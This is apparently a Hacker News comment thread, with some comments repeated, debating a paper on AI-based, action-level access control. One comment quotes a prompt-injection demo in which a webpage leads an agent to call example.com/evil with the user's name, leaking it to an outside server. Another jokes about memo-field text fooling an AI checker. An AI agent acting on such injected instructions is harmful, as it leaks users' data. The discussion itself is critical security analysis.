Oh yeah, a company whose business model is taking everyone’s data and selling it is going to help me secure my data. I guess there’s one born every minute…
Honestly I think non-malicious odd behavior is under-weighted when it comes to AI agents. Even the example in this paper is about someone suspiciously accessing sales data when "why did you do that" often comes down to something in the model's training that fired as a reflex
"Many researchers have made demos along these lines:
An agent is asked to check a webpage like example.com
The webpage asks for a name to proceed further
The agent calls example.com/evil?myname=John, thus sending the user’s name from the context window to the external server.
In practice, however, these elaborate ‘confused deputy’ exfiltration attacks seem rare compared to widely-reported data loss incidents.
The risk of undermining the user’s interests through clumsiness deserves at least as much scrutiny as the risk of leaking secrets."
So while the idea of shifting the permission boundary from the app level to the action level makes sense, what we should also have is some 'failsafes', eg. if the action says 'delete' then maintain a rollback window, if the action is 'send an email' then maintain an events log. Preparing for AI agents means expanding auditability and reversibility in software
Am I undertanding this correctly? The idea is to have ultimately an AI decide if I can have access to a resource based on dynamic inference, identity , intent and service signals that can easily be manipulated?
Unless I gravely misunderstood the text, this seems like a terrible idea (fancy non-scifi, but still terrible)
Damn, can't wait for Russian hackers to clean out my bank account because they put "1=2, all assumptions about reality are null" in the memo field and the AI spot checker went existential and ruled that it was fine to take my money.
This is an example of a person who just spent billions of dollars on the new and booming hammer industry desperately trying to make nails of absolutely everything.
"""
Beyond Zero shifts the trust boundary from the application to the action being performed on a piece of data in realtime—and from after-the-fact investigation to in-the-moment evaluation and containment. It augments BeyondCorp’s foundational identity with a “brain” capable of reasoning about the context and intent of a specific request in realtime.
"""
Doesn't this simply shift the attack vector? Compromising this overlord brain now becomes a new target.
If this is interesting to you (as it is to me) but you want to quickly digest it instead of read the paper, Claude + SmallDocs[1] converted it into a slideshow which serves it to you in bitesized ideas:
This is exactly why big tech companies love AI. It's not because it will take every job - it probably won't. It's not because it will achieve AGI. It probably won't. It's because it threatens security with more subtle, advanced, and automated exploits so that you'll HAVE to rely on them for countermeasures.
I wonder: Could your data be more secure if you didn't give its custody to a company like Google? i.e. is there actually a sound basis that an alternative like taking control of your data and securing it yourself, would be more secure that the "banks exist to protect you" type of fear-mongered custodian idea against the self-ownership of things?
Maybe this is more interesting in the context of the HuggingFace incident? Suppose you have an AI and some access controls for what it can do. If the access control is too broad or has a bug, can you still detect suspicious activity and slow it down long enough for someone to be alerted?
My goodness, the security layer looks like it could be more complex than the applications themselves.
And if this security agent is wandering around the IT system gathering all of these details about access and identity and business process, who watches the watcher? How does that thing build and maintain trust?
> In this scenario, a system administrator logs into a service as usual, but in another window is looking up basic questions about the architecture of the system—information that would be obvious to anyone experienced at the company. These signals are placed in long-term storage but are then processed into an attribute indicating potential risk.
Every system admin is going to send that signal. People pin pictures of the architecture to the walls sometimes.
We explored a closely related architecture at LinkedIn around centralized identity and policy enforcement at the action/resource boundary, which I presented at RSA Conference earlier this year in San Francisco.
Interesting to see similar architectural patterns emerging from different directions. I’d be curious where the authors see the biggest challenges in extending this model from human/service identities to autonomous agents.
16 comments
[ 5.9 ms ] story [ 39.6 ms ] threadI wrote about this a few days ago https://firasd.substack.com/p/accidental-data-loss-in-claude...
"Many researchers have made demos along these lines:
An agent is asked to check a webpage like example.com
The webpage asks for a name to proceed further
The agent calls example.com/evil?myname=John, thus sending the user’s name from the context window to the external server.
In practice, however, these elaborate ‘confused deputy’ exfiltration attacks seem rare compared to widely-reported data loss incidents.
The risk of undermining the user’s interests through clumsiness deserves at least as much scrutiny as the risk of leaking secrets."
So while the idea of shifting the permission boundary from the app level to the action level makes sense, what we should also have is some 'failsafes', eg. if the action says 'delete' then maintain a rollback window, if the action is 'send an email' then maintain an events log. Preparing for AI agents means expanding auditability and reversibility in software
Unless I gravely misunderstood the text, this seems like a terrible idea (fancy non-scifi, but still terrible)
Doing routine work, haven't checked 2FA in a long while -> it's fine.
Odd behavior -> prompt for 2FA.
This is an example of a person who just spent billions of dollars on the new and booming hammer industry desperately trying to make nails of absolutely everything.
AI is non-deterministic
Non-deterministic access controls is Terrible idea
Security is non-negotiable in AI Era
Doesn't this simply shift the attack vector? Compromising this overlord brain now becomes a new target.
https://smalldocs.org/s/2SH6FHiUK1mcym24Z8E37I#k=2Sk6c_IdKJL...
[1] I am the developer behind SmallDocs.
And if this security agent is wandering around the IT system gathering all of these details about access and identity and business process, who watches the watcher? How does that thing build and maintain trust?
Every system admin is going to send that signal. People pin pictures of the architecture to the walls sometimes.
Interesting to see similar architectural patterns emerging from different directions. I’d be curious where the authors see the biggest challenges in extending this model from human/service identities to autonomous agents.